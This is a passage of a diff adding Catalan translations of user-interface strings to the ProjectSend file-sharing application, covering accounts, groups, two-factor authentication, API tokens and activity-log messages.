a generar els codis de recuperació de dos factors", + "Register": "Registre", + "Register to access the files shared with you.": "Registra't per accedir als fitxers compartits amb tu.", + "Register to request access. An administrator will review your request.": "Registra't per sol·licitar accés. Un administrador revisarà la teva sol·licitud.", + "Registered a new client account": "Ha registrat un compte de client nou", + "Related": "Relacionat", + "Remember me": "Recorda'm", + "Remove": "Treu", + "Removed \":member\" from the group \":subject\"": "Ha tret \":member\" del grup \":subject\"", + "Removed the file \":subject\" from :target": "Ha tret el fitxer \":subject\" de :target", + "Rename": "Canvia el nom", + "Renamed the folder \":subject\"": "Ha canviat el nom de la carpeta \":subject\"", + "Repository": "Dipòsit", + "Request declined": "Sol·licitud denegada", + "Request Header Fields Too Large": "Els camps de la capçalera de la sol·licitud són massa grans", + "Request membership": "Sol·licita l'adhesió", + "Request membership to groups (optional)": "Sol·licita l'adhesió a grups (opcional)", + "Request Timeout": "Temps d'espera esgotat", + "Requested": "Sol·licitat", + "Requested membership to the group \":subject\"": "Ha sol·licitat l'adhesió al grup \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "Les adhesions sol·licitades esperen l'aprovació a la cua de sol·licituds d'adhesió.", + "Require two-factor authentication": "Exigeix l'autenticació de dos factors", + "Required": "Obligatori", + "Reset Content": "Restablir contingut", + "Reset Password": "Restablir contrasenya", + "Reset Password Notification": "Notificació de restabliment de contrasenya", + "Reset this email to its default wording?": "Vols restablir el text per defecte d'aquest correu?", + "Reset to default": "Restableix els valors per defecte", + "Restore": "Restauració", + "Restore :name": "Restaurar :name", + "Restricted extension": "Extensió restringida", + "Result": "Resultat", + "results": "resultats", + "Review membership requests": "Revisar sol·licituds d'adhesió", + "Review pending requests": "Revisa les sol·licituds pendents", + "Retry With": "Torna-ho a provar amb", + "Revoke": "Revoca", + "Revoke link": "Revoca l'enllaç", + "Revoke this public link?": "Vols revocar aquest enllaç públic?", + "Revoked a public link for the file \":subject\"": "Ha revocat un enllaç públic del fitxer \":subject\"", + "Role": "Rol", + "Role created.": "Rol creat.", + "Role deleted.": "Rol eliminat.", + "Role name": "Nom del rol", + "Role updated.": "Rol actualitzat.", + "Roles": "Rols", + "Sample email": "Correu d'exemple", + "Save": "Desar", + "Save :name": "Estalvia :name", + "Save & Close": "Desa i tanca", + "Save & Return": "Guarda i torna", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Desa els canvis per publicar-ho; fins llavors, aquests botons apunten a una pàgina que encara no s'ha publicat.", + "Saved": "Desat", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Escaneja aquest codi QR amb la teva aplicació d'autenticació i introdueix el codi de sis xifres per confirmar-ho.", + "Scanning:": "S'està escanejant:", + "Scheduled tasks": "Tasques programades", + "Search": "Cerca", + "Search :name": "Cerca :name", + "Search all files and folders": "Cerca a tots els fitxers i carpetes", + "Search by client or group": "Cerca per client o grup", + "Search by name": "Cerca per nom", + "Search by name or email address": "Cerca per nom o adreça de correu", + "Search by path": "Cerca per camí", + "Search categories": "Cerca categories", + "Search fields": "Cerca camps", + "Search your files": "Cerca als teus fitxers", + "Security": "Seguretat", + "Security settings": "Configuració de seguretat", + "See Other": "Vegeu Altres", + "Select": "Seleccioni", + "Select :name": "Selecciona :name", + "Select a client or group": "Selecciona un client o un grup", + "Select a client to add": "Selecciona un client per afegir", + "Select a role": "Selecciona un rol", + "Select All": "Seleccionar tot", + "Select an option": "Selecciona una opció", + "Select at least one file or folder.": "Selecciona com a mínim un fitxer o una carpeta.", + "Self-registered clients join this group automatically.": "Els clients que es registren pel seu compte entren automàticament en aquest grup.", + "Send": "Enviar", + "Send email notifications": "Envia notificacions per correu", + "Send test email": "Envia un correu de prova", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Envia ara mateix un correu de debò, sense passar per la cua, perquè puguis comprovar que la configuració de sobre funciona realment.", + "Separate paragraphs with a blank line.": "Separa els paràgrafs amb una línia en blanc.", + "Server Error": "Error del servidor", + "Service Unavailable": "Servei no disponible", + "Session Has Expired": "La sessió ha caducat", + "Set file expiration dates": "Establir dates de caducitat dels fitxers", + "Set to 0 for no limit. Available disk space still applies.": "Posa-hi 0 per no fixar cap límit. L'espai de disc disponible continua comptant.", + "Set to 0 to allow requesting again immediately.": "Posa-hi 0 per permetre tornar a sol·licitar-ho immediatament.", + "Set up ProjectSend": "Configura el ProjectSend", + "Settings": "Configuració", + "Settings that apply to the whole installation": "Configuració que s'aplica a tota la instal·lació", + "Setup complete": "Configuració completada", + "Share a file with the people who manage your account.": "Comparteix un fitxer amb les persones que gestionen el teu compte.", + "Share files with several clients at once": "Comparteix fitxers amb diversos clients alhora", + "Shared the folder \":subject\" with :target": "Ha compartit la carpeta \":subject\" amb :target", + "Shared with": "Compartit amb", + "Shared with :count": "Compartit amb :count", + "Sharing": "Compartició", + "Sharing a folder shares everything inside it, now and later": "Compartir una carpeta comparteix tot el que hi ha a dins, ara i més endavant", + "Show": "Espectacle", + "Show :name": "Mostra :name", + "Show All": "Mostrar tots", + "Showing": "Mostrant", + "Showing matches from across your library": "Resultats de tota la teva biblioteca", + "Showing matches from everything shared with you": "Resultats de tot el que s'ha compartit amb tu", + "Shown across the application and to your clients.": "Es mostra a tota l'aplicació i als teus clients.", + "Shows a registration form on the login screen.": "Mostra un formulari de registre a la pantalla d'inici de sessió.", + "Sign In": "Inicieu la sessió", + "Sign up": "Registra't", + "Site name": "Nom del lloc", + "Size": "Mida", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Omet l'adreça IP quan la descàrrega prové d'un compte amb la sessió iniciada: la seva identitat ja es coneix.", + "SMTP configuration": "Configuració SMTP", + "Source code": "Codi font", + "Special public links": "Enllaços públics especials", + "Solve": "Resol", + "Something went wrong. Please try again.": "Alguna cosa ha anat malament. Torna-ho a provar.", + "SSL": "SSL", + "SSL Handshake Failed": "SSL Handshake ha fallat", + "Staff": "Equip", + "Start": "Començar", + "Status": "Estat", + "Stop": "Atura", + "Stopped sharing the folder \":subject\" with :target": "Ha deixat de compartir la carpeta \":subject\" amb :target", + "Storage": "Emmagatzematge", + "Storage free": "Espai lliure", + "Storage quota (MB)": "Quota d'emmagatzematge (MB)", + "Storage used": "Espai utilitzat", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Guarda aquests codis de recuperació en un lloc segur. Cadascun es pot fer servir un cop si perds l'accés a la teva aplicació d'autenticació.", + "Subfolders": "Subcarpetes", + "Subject": "Assumpte", + "Submit": "Presentar", + "Subscribe": "Subscrigui", + "Success: test email sent to :email via :hostport.": "Correcte: s'ha enviat un correu de prova a :email mitjançant :hostport.", + "Support the project": "Dona suport al projecte", + "Switch": "Interruptor", + "Switch To Role": "Canvia al rol", + "Switching Protocols": "Protocols de commutació", + "System": "Sistema", + "System Administrator": "Administrador del sistema", + "System settings": "Configuració del sistema", + "System settings were updated": "S'ha actualitzat la configuració del sistema", + "System users": "Usuaris del sistema", + "Tag": "Etiqueta", + "Tags": "Etiquetes", + "Temporary Redirect": "Redirecció temporal", + "Test": "Prova", + "Text": "Text", + "Text or author": "Text o autor", + "The account of :name will be permanently deleted. This cannot be undone.": "El compte de :name s'eliminarà definitivament. Aquesta acció no es pot desfer.", + "The account password was changed": "S'ha canviat la contrasenya del compte", + "The account request of :name will be denied and the account deleted.": "La sol·licitud de compte de :name es denegarà i el compte s'eliminarà.", + "The administrator account was created successfully.": "El compte d'administrador s'ha creat correctament.", + "The administrator role always has every permission and cannot be edited.": "El rol d'administrador sempre té tots els permisos i no es pot editar.", + "The base URL segment for public group pages, e.g. :url": "El segment d'URL base de les pàgines de grups públics, p. ex. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "La categoria \":name\" es traurà de tots els seus fitxers. Els fitxers no s'eliminen.", + "The client's email address": "L'adreça de correu del client", + "The client's name": "El nom del client", + "The clients this group shares files with": "Els clients amb qui aquest grup comparteix fitxers", + "The field \":name\" and all its stored values will be permanently deleted.": "El camp \":name\" i tots els valors que hi ha desats s'eliminaran definitivament.", + "The file \":file\" was uploaded by :client.": "El fitxer \":file\" l'ha pujat :client.", + "The file \":name\" has been shared with you.": "S'ha compartit el fitxer \":name\" amb tu.", + "The file \":name\" will no longer be available to anyone it was shared with.": "El fitxer \":name\" deixarà d'estar disponible per a tothom amb qui s'havia compartit.", + "The file name": "El nom del fitxer", + "The file or folder name": "El nom del fitxer o de la carpeta", + "The file will be permanently removed from disk. This cannot be undone.": "El fitxer s'eliminarà definitivament del disc. Aquesta acció no es pot desfer.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Els fitxers d'un grup públic els pot consultar qualsevol persona que tingui l'enllaç, sense iniciar la sessió.", + "The files shared with you": "Els fitxers compartits amb tu", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "La carpeta \":name\" i tot el que hi ha a dins s'eliminaran. Un administrador ho pot desfer.", + "The following :count items have been shared with you:": "S'han compartit els :count elements següents amb tu:", + "The folder \":name\" has been shared with you.": "S'ha compartit la carpeta \":name\" amb tu.", + "The given data was invalid.": "Les dades proporcionades no eren vàlides.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "El grup \":name\" s'eliminarà. Els seus clients conserven els comptes.", + "The group name": "El nom del grup", + "The groups you belong to and the ones you can ask to join": "Els grups als quals pertanys i aquells als quals pots demanar entrar", + "The header/footer style used for every outgoing notification email.": "L'estil de capçalera i peu que es fa servir a cada correu de notificació de sortida.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "L'aspecte de les pàgines públiques per a visitants, del portal de clients i dels correus de notificació de sortida.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "El servidor de correu es configura al fitxer .env d'aquesta instal·lació (variables MAIL_*), no pas aquí.", + "The people who administer this installation and upload files": "Les persones que administren aquesta instal·lació i pugen fitxers", + "The people you share files with": "Les persones amb qui comparteixes fitxers", + "The provided two-factor authentication code was invalid.": "El codi d'autenticació de dos factors que has introduït no és vàlid.", + "The release this installation is running, and where it comes from.": "La versió que executa aquesta instal·lació, i d'on prové.", + "The response is not a streamed response.": "La resposta no és una resposta en streaming.", + "The response is not a view.": "La resposta no és una visió.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "El rol \":name\" s'eliminarà definitivament. Aquesta acció no es pot desfer.", + "The selected folders are empty.": "Les carpetes seleccionades són buides.", + "The uploading client's name": "El nom del client que fa la pujada", + "Their account is waiting for approval.": "Aquest compte espera aprovació.", + "There is nothing to configure yet.": "Encara no hi ha res per configurar.", + "Test email from :site": "Correu de prova de :site", + "These files will be permanently removed from disk. This cannot be undone.": "Aquests fitxers s'eliminaran definitivament del disc. Aquesta acció no es pot desfer.", + "Theme": "Tema", + "Theme updated.": "Tema actualitzat.", + "Theming": "Temes", + "Theming settings": "Configuració dels temes", + "This action is unauthorized.": "Aquesta acció no està autoritzada.", + "This file exceeds the maximum allowed size of :max MB.": "Aquest fitxer supera la mida màxima permesa de :max MB.", + "This folder is empty.": "Aquesta carpeta és buida.", + "This installation has no administrator yet. Create the first one to get started.": "Aquesta instal·lació encara no té cap administrador. Crea el primer per començar.", + "This is a built-in role; its scope can't be changed.": "Aquest és un rol integrat; el seu abast no es pot canviar.", + "This is a preview of the :theme email theme.": "Aquesta és una vista prèvia del tema de correu :theme.", + "This is a sample email — no notification was actually sent.": "Aquest és un correu d'exemple; no s'ha enviat cap notificació de debò.", + "This is a test email from :site.": "Aquest és un correu de prova de :site.", + "This is the last active administrator account.": "Aquest és l'últim compte d'administrador actiu.", + "This link cannot match the file's own public URL slug.": "Aquest enllaç no pot coincidir amb el sufix d'URL pública del mateix fitxer.", + "This link doesn't exist or has been revoked.": "Aquest enllaç no existeix o s'ha revocat.", + "This link has expired.": "Aquest enllaç ha caducat.", + "This link has reached its download limit.": "Aquest enllaç ha arribat al seu límit de descàrregues.", + "This password reset link will expire in :count minutes.": "Aquest enllaç de restabliment de contrasenya caducarà en :count minuts.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Això elimina permanentment totes les tasques fallides de la llista sense reintentar-ne cap. No es pot desfer.", + "This role is assigned to accounts and cannot be deleted.": "Aquest rol està assignat a comptes i no es pot eliminar.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Aquest rol només veu els fitxers i les carpetes d'aquests clients, a més de les seves pròpies pujades.", + "This upload would exceed your storage quota of :quota MB.": "Aquesta pujada superaria la teva quota d'emmagatzematge de :quota MB.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Consell: arrossega fitxers i carpetes sobre una carpeta o sobre el rastre de navegació per moure'ls.", + "Title": "Títol", + "Title (optional)": "Títol (opcional)", + "TLS": "TLS", + "to": "a", + "To": "Per a", + "Toggle navigation": "Commutar navegació", + "Too Early": "Massa aviat", + "Too many files selected. Choose a smaller selection and try again.": "Hi ha massa fitxers seleccionats. Redueix la selecció i torna-ho a provar.", + "Too Many Requests": "Massa peticions", + "Transactional email settings for this installation": "Configuració dels correus transaccionals d'aquesta instal·lació", + "Transfers — last 30 days": "Transferències — últims 30 dies", + "Translate": "Traduir", + "Translate It": "Tradueix-ho", + "Turns all transactional email for this installation on or off.": "Activa o desactiva tots els correus transaccionals d'aquesta instal·lació.", + "Two-factor auth": "Autenticació 2FA", + "Two-factor authentication": "Autenticació de dos factors", + "Two-factor authentication is enabled.": "L'autenticació de dos factors està activada.", + "Two-factor authentication was disabled": "S'ha desactivat l'autenticació de dos factors", + "Two-factor authentication was enabled": "S'ha activat l'autenticació de dos factors", + "Two-factor recovery codes were regenerated": "S'han tornat a generar els codis de recuperació de dos factors", + "Type": "Tipus", + "Unauthorized": "No autoritzat", + "Unavailable For Legal Reasons": "No disponible per motius legals", + "Unchanged": "Sense canvis", + "Unknown Error": "Error desconegut", + "Unlimited": "Il·limitat", + "Unpack": "Desempaquetar", + "Unprocessable Entity": "Entitat no processable", + "Unsubscribe": "Cancel·la la subscripció", + "Unsupported Media Type": "Tipus de suport no compatible", + "Up": "Amunt", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Fins a :max MB per fitxer. Les pujades es poden posar en pausa i es reprenen automàticament després d'una interrupció.", + "Update": "Actualització", + "Update :name": "Actualització :name", + "Updated the account \":subject\"": "Ha actualitzat el compte \":subject\"", + "Updated the file \":subject\"": "Ha actualitzat el fitxer \":subject\"", + "Updated the group \":subject\"": "Ha actualitzat el grup \":subject\"", + "Updated the role \":subject\"": "Ha actualitzat el rol \":subject\"", + "Updated the system settings (:section)": "Ha actualitzat la configuració del sistema (:section)", + "Updated their profile information": "Ha actualitzat la informació del seu perfil", + "Upgrade Required": "Actualització necessària", + "Upload": "Puja", + "Upload a file": "Puja un fitxer", + "Upload files": "Pujar fitxers", + "Upload public files": "Pujar fitxers públics", + "Upload settings": "Configuració de pujada", + "Upload to public folders": "Pujar a carpetes públiques", + "Uploaded by": "Pujat per", + "Uploaded the file \":subject\"": "Ha pujat el fitxer \":subject\"", + "Uploader": "Autor de la pujada", + "Uploads": "Pujades", + "Uploads (chart)": "Pujades (gràfic)", + "URI Too Long": "URI massa llarg", + "URL slug": "Sufix d'URL", + "Use a custom link instead of a random one": "Fes servir un enllaç personalitzat en comptes d'un d'aleatori", + "Use a recovery code": "Fes servir un codi de recuperació", + "Use an authentication code": "Fes servir un codi d'autenticació", + "Use Proxy": "Utilitzeu el proxy", + "Use the navigation to get started.": "Fes servir la navegació per començar.", + "Used": "Utilitzat", + "Used in the public file URL when this file is public.": "Es fa servir a l'URL pública del fitxer quan aquest fitxer és públic.", + "Used in the public group URL when this group is public.": "Es fa servir a l'URL pública del grup quan aquest grup és públic.", + "User": "Usuari", + "User created.": "Usuari creat.", + "User deleted.": "Usuari eliminat.", + "User updated.": "Usuari actualitzat.", + "Users": "Usuaris", + "Username": "Nom d'usuari", + "Variant Also Negotiates": "La variant també es negocia", + "Verify Email Address": "Confirmeu la vostra adreça electrònica", + "Version": "Versió", + "Version :version": "Versió :version", + "View": "Vista", + "View :name": "Vista :name", + "View all": "Mostra-ho tot", + "View dashboard counters": "Veure els comptadors del tauler", + "View file": "Mostra el fitxer", + "View news": "Veure les novetats", + "View statistics": "Veure les estadístiques", + "View system information": "Veure la informació del sistema", + "Visible widgets": "Ginys visibles", + "View the activity log": "Veure el registre d'activitat", + "View your files": "Veure els fitxers propis", + "Visibility": "Visibilitat", + "Visitors": "Visitants", + "Warning": "Advertiment", + "Web Server is Down": "El servidor web està caigut", + "Website": "Lloc web", + "Welcome": "Benvingut", + "Welcome to ProjectSend": "Et donem la benvinguda al ProjectSend", + "What each kind of account is allowed to do": "Què pot fer cada tipus de compte", + "When an account is erased, its files and folders": "Quan s'esborra un compte, els seus fitxers i carpetes", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Si s'activa, en iniciar la sessió se't demanarà un codi segur del teu telèfon.", + "When off, self-registered clients wait in the account requests queue until approved.": "Si es desactiva, els clients que es registren pel seu compte esperen l'aprovació a la cua de sol·licituds de compte.", + "Where outgoing email is actually sent from.": "L'adreça des d'on s'envien realment els correus de sortida.", + "Whoops!": "Vaja!", + "Widgets": "Ginys", + "Worth including when you report a problem.": "Val la pena incloure-ho quan informis d'un problema.", + "Written by": "Escrit per", + "Yellow": "Groc", + "Yes": "Sí", + "You are commenting too quickly. Try again in a moment.": "Estàs comentant massa de pressa. Torna-ho a provar d'aquí a un moment.", + "You are commenting too quickly. Try again in :seconds seconds.": "Estàs comentant massa de pressa. Torna-ho a provar d'aquí a :seconds segons.", + "You are not a member of any group yet.": "Encara no ets membre de cap grup.", + "You are receiving this email because we received a password reset request for your account.": "Heu rebut aquest correu electrònic perquè s'ha solicitat el restabliment de la contrasenya per al vostre compte.", + "You can only share with the clients assigned to you.": "Només pots compartir amb els clients que tens assignats.", + "You cannot comment on this file.": "No pots comentar aquest fitxer.", + "You cannot deactivate your own account.": "No pots desactivar el teu propi compte.", + "You cannot delete your own account.": "No pots eliminar el teu propi compte.", + "You have no notifications yet.": "Encara no tens cap notificació.", + "You will no longer receive files shared with the group \":name\".": "Deixaràs de rebre els fitxers que es comparteixin amb el grup \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Un administrador ha canviat fa poc les dades del teu compte. Contacta amb el teu administrador si no t'ho esperaves.", + "Your account has been approved": "El teu compte s'ha aprovat", + "Your account has been created. You can log in now.": "S'ha creat el teu compte. Ja pots iniciar la sessió.", + "Your account has been deactivated.": "El teu compte s'ha desactivat.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "El teu compte es desactiva immediatament. Al cap de :days dies s'esborra definitivament, incloses les dades que t'identifiquen al registre d'activitat; aquesta acció no es pot desfer.", + "Your account request has been approved. You can now log in.": "La teva sol·licitud de compte s'ha aprovat. Ja pots iniciar la sessió.", + "Your account request has been denied.": "La teva sol·licitud de compte s'ha denegat.", + "Your account request has been received. You will be able to log in once it is approved.": "Hem rebut la teva sol·licitud de compte. Podràs iniciar la sessió quan s'aprovi.", + "Your account request has not been approved yet.": "La teva sol·licitud de compte encara no s'ha aprovat.", + "Your account request was denied": "La teva sol·licitud de compte s'ha denegat", + "Your account was updated": "S'ha actualitzat el teu compte", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "El teu compte es desactivarà ara i s'esborrarà definitivament al cap de :days dies. Introdueix la teva contrasenya per confirmar-ho.", + "Your account will no longer require a second code at login, making it less secure.": "El teu compte deixarà de demanar un segon codi en iniciar la sessió, de manera que serà menys segur.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "El teu administrador exigeix l'autenticació de dos factors en aquest compte. Configura-la a sota per continuar.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "L'assumpte i el cos personalitzats es descartaran i se substituiran immediatament pel text per defecte; aquesta acció no es pot desfer.", + "Your download should start automatically.": "La teva descàrrega hauria de començar automàticament.", + "Your existing recovery codes will stop working immediately.": "Els teus codis de recuperació actuals deixaran de funcionar immediatament.", + "Your group membership request was approved": "La teva sol·licitud d'adhesió al grup s'ha aprovat", + "Your group membership request was denied": "La teva sol·licitud d'adhesió al grup s'ha denegat", + "Your groups": "Els teus grups", + "Your previous request to this group was declined. You can request again later.": "La teva sol·licitud anterior a aquest grup es va denegar. Ho podràs tornar a demanar més endavant.", + "Your request to join the group \":group\" has been approved.": "La teva sol·licitud per entrar al grup \":group\" s'ha aprovat.", + "Your request to join the group \":group\" has been denied.": "La teva sol·licitud per entrar al grup \":group\" s'ha denegat.", + "Your request to join the group \":groupName\" has been approved": "La teva sol·licitud per entrar al grup \":groupName\" s'ha aprovat", + "Your shared file library": "La teva biblioteca de fitxers compartits", + "API tokens": "Testimonis d'API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Els testimonis permeten que una eina externa actuï en nom teu mitjançant l'API, només amb els permisos que li concedeixis aquí.", + "Token name": "Nom del testimoni", + "e.g. Zapier": "p. ex. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Posa-li el nom de l'eina que el farà servir, així sabràs què revoques més endavant.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Un testimoni mai no pot fer més que tu. Concedeix només allò que l'eina necessita: si canvien els teus permisos, el testimoni els segueix.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Només s'hi llisten els permisos sobre els quals l'API ja pot actuar. N'hi apareixeran més a mesura que es publiquin punts d'accés nous.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Encara no pots concedir res a cap testimoni: cap dels punts d'accés de l'API publicats fins ara coincideix amb els teus permisos.", + "Select all": "Selecciona-ho tot", + "Clear all": "Desselecciona-ho tot", + "Expires in (days)": "Caduca d'aquí a (dies)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Un testimoni sense caducitat continua sent vàlid fins que algú el revoca a mà. És millor triar una data que puguis oblidar tranquil·lament.", + "Create token": "Crea el testimoni", + "Copy your token now": "Copia el teu testimoni ara", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Aquesta és l'única vegada que es mostrarà. Només en desem un resum criptogràfic, de manera que no es podrà recuperar més endavant.", + "Copy to clipboard": "Copia al porta-retalls", + "Copied": "Copiat", + "Your tokens": "Els teus testimonis", + "Revoking a token takes effect immediately.": "La revocació d'un testimoni té efecte immediat.", + "You have not created any tokens yet.": "Encara no has creat cap testimoni.", + "Expired": "Caducat", + "Never used": "No s'ha fet servir mai", + "Last used :date": "Últim ús el :date", + "Revoke this token?": "Vols revocar aquest testimoni?", + "Any tool using it will stop working immediately. This cannot be undone.": "Qualsevol eina que el faci servir deixarà de funcionar immediatament. Aquesta acció no es pot desfer.", + "This file type is not allowed for upload.": "Aquest tipus de fitxer no es pot pujar.", + "View the client list": "Veure la llista de clients", + "View the group list": "Veure la llista de grups", + "Origin": "Origen", + "All origins": "Tots els orígens", + "Web UI": "Interfície web", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Edita el testimoni", + "Save token": "Desa el testimoni", + "The token is shown once, immediately after it is created, and never again.": "El testimoni es mostra un sol cop, just després de crear-lo, i mai més.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "El testimoni no canvia. Tot allò que ja el fa servir continua funcionant amb el que hi estableixis aquí.", + "Changing permissions takes effect immediately": "Els canvis de permisos tenen efecte immediat", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "El testimoni actual conserva el seu valor, de manera que qui el tingui guanya o perd aquests permisos a l'instant. Revoca'l i crea'n un de nou si vols un secret nou.", + "Some permissions no longer apply": "Alguns permisos ja no s'apliquen", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Aquest testimoni encara porta permisos que avui no fan res; en desar-lo, s'eliminaran: :abilities", + "Token updated.": "Testimoni actualitzat.", + "How external tools can act on this installation on your behalf.": "Com poden actuar les eines externes en nom teu en aquesta instal·lació.", + "OpenAPI specification": "Especificació OpenAPI", + "Endpoints": "Punts d'accés", + "Method": "Mètode", + "Tokens": "Testimonis", + "Your tokens and what they have been doing.": "Els teus testimonis i què han fet.", + "Every token on this installation and what it has been doing.": "Tots els testimonis d'aquesta instal·lació i què han fet.", + "Show all tokens": "Mostra tots els testimonis", + "Show only mine": "Mostra només els meus", + "Manage tokens": "Gestiona els testimonis", + "Requests (7 days)": "Sol·licituds (7 dies)", + "Failed (7 days)": "Fallides (7 dies)", + "Median response": "Temps de resposta mitjà", + "No requests yet": "Encara no hi ha sol·licituds", + ":count expired": ":count caducats", + "Requests": "Sol·licituds", + "Succeeded": "Correctes", + "Failed": "Fallides", + "Request history is kept for :days days.": "L'historial de sol·licituds es conserva :days dies.", + "Request history is kept indefinitely.": "L'historial de sol·licituds es conserva indefinidament.", + "No tokens yet.": "Encara no hi ha testimonis.", + "Owner": "Propietari", + "Last used": "Últim ús", + "History": "Historial", + "Busiest endpoints": "Punts d'accés amb més activitat", + "No requests in the last 7 days.": "Cap sol·licitud en els últims 7 dies.", + "Recent changes made through the API": "Canvis recents fets mitjançant l'API", + "Full history": "Historial complet", + "Nothing has been changed through the API yet.": "Encara no s'ha canviat res mitjançant l'API.", + "API usage": "Ús de l'API", + "Open the API dashboard": "Obre el tauler de l'API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "No tens cap testimoni d'API. Crea'n un perquè una eina externa pugui actuar en nom teu.", + "API request history (days)": "Historial de sol·licituds de l'API (dies)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Quant de temps el tauler de l'API conserva el registre de cada sol·licitud. Això és l'historial d'ús, no pas el registre d'activitat: aquest és un rastre d'auditoria i no es depura mai. Posa-hi 0 per conservar-lo indefinidament.", + "A category was created": "S'ha creat una categoria", + "A category was deleted": "S'ha eliminat una categoria", + "A category was renamed": "S'ha canviat el nom d'una categoria", + "A comment was approved": "S'ha aprovat un comentari", + "A comment was deleted": "S'ha eliminat un comentari", + "A comment was edited": "S'ha editat un comentari", + "A comment was posted on a file": "S'ha publicat un comentari en un fitxer", + "A custom asset was created": "S'ha creat un recurs personalitzat", + "A custom asset was deleted": "S'ha eliminat un recurs personalitzat", + "A custom asset was disabled": "S'ha desactivat un recurs personalitzat", + "A custom asset was enabled": "S'ha activat un recurs personalitzat", + "A custom asset was updated": "S'ha actualitzat un recurs personalitzat", + "A custom field was created": "S'ha creat un camp personalitzat", + "A custom field was deleted": "S'ha eliminat un camp personalitzat", + "A custom field was updated": "S'ha actualitzat un camp personalitzat", + "A deleted account's files and folders were deleted": "S'han eliminat els fitxers i les carpetes d'un compte eliminat", + "A deleted account's files and folders were reassigned": "S'han reassignat els fitxers i les carpetes d'un compte eliminat", + "A file was made private": "S'ha fet privat un fitxer", + "A file was made public": "S'ha fet públic un fitxer", + "A file was previewed": "S'ha previsualitzat un fitxer", + "A folder was made private": "S'ha fet privada una carpeta", + "A folder was made public": "S'ha fet pública una carpeta", + "A group was made private": "S'ha fet privat un grup", + "A group was made public": "S'ha fet públic un grup", + "An API token was created": "S'ha creat un testimoni d'API", + "An API token was revoked": "S'ha revocat un testimoni d'API", + "An API token was updated": "S'ha actualitzat un testimoni d'API", + "An expired file was automatically deleted after its retention grace period passed": "S'ha eliminat automàticament un fitxer caducat un cop passat el seu període de gràcia", + "An orphan file was automatically deleted after its retention grace period passed": "S'ha eliminat automàticament un fitxer orfe un cop passat el seu període de gràcia", + "An upload was cancelled": "S'ha cancel·lat una pujada", + "Approved a comment on the file \":subject\"": "Ha aprovat un comentari del fitxer \":subject\"", + "Cancelled uploading the file \":name\"": "Ha cancel·lat la pujada del fitxer \":name\"", + "Commented on the file \":subject\"": "Ha comentat el fitxer \":subject\"", + "Created the API token \":token_name\"": "Ha creat el testimoni d'API \":token_name\"", + "Created the category \":subject\"": "Ha creat la categoria \":subject\"", + "Created the custom asset \":subject\"": "Ha creat el recurs personalitzat \":subject\"", + "Created the custom field \":name\"": "Ha creat el camp personalitzat \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Ha eliminat :files fitxer(s) i :folders carpeta/es del compte eliminat \":name\"", + "Deleted a comment on the file \":subject\"": "Ha eliminat un comentari del fitxer \":subject\"", + "Deleted the category \":name\"": "Ha eliminat la categoria \":name\"", + "Deleted the custom asset \":name\"": "Ha eliminat el recurs personalitzat \":name\"", + "Deleted the custom field \":name\"": "Ha eliminat el camp personalitzat \":name\"", + "Deleted the expired file \":name\"": "Ha eliminat el fitxer caducat \":name\"", + "Disabled the custom asset \":subject\"": "Ha desactivat el recurs personalitzat \":subject\"", + "Edited a comment on the file \":subject\"": "Ha editat un comentari del fitxer \":subject\"", + "Enabled the custom asset \":subject\"": "Ha activat el recurs personalitzat \":subject\"", + "Made the file \":subject\" private": "Ha fet privat el fitxer \":subject\"", + "Made the file \":subject\" public": "Ha fet públic el fitxer \":subject\"", + "Made the folder \":subject\" private": "Ha fet privada la carpeta \":subject\"", + "Made the folder \":subject\" public": "Ha fet pública la carpeta \":subject\"", + "Made the group \":subject\" private": "Ha fet privat el grup \":subject\"", + "Made the group \":subject\" public": "Ha fet públic el grup \":subject\"", + "Previewed the file \":subject\"": "Ha previsualitzat el fitxer \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Ha reassignat :files fitxer(s) i :folders carpeta/es del compte eliminat \":name\" a :target", + "Renamed the category to \":subject\"": "Ha canviat el nom de la categoria a \":subject\"", + "Revoked the API token \":token_name\"": "Ha revocat el testimoni d'API \":token_name\"", + "Updated the API token \":token_name\"": "Ha actualitzat el testimoni d'API 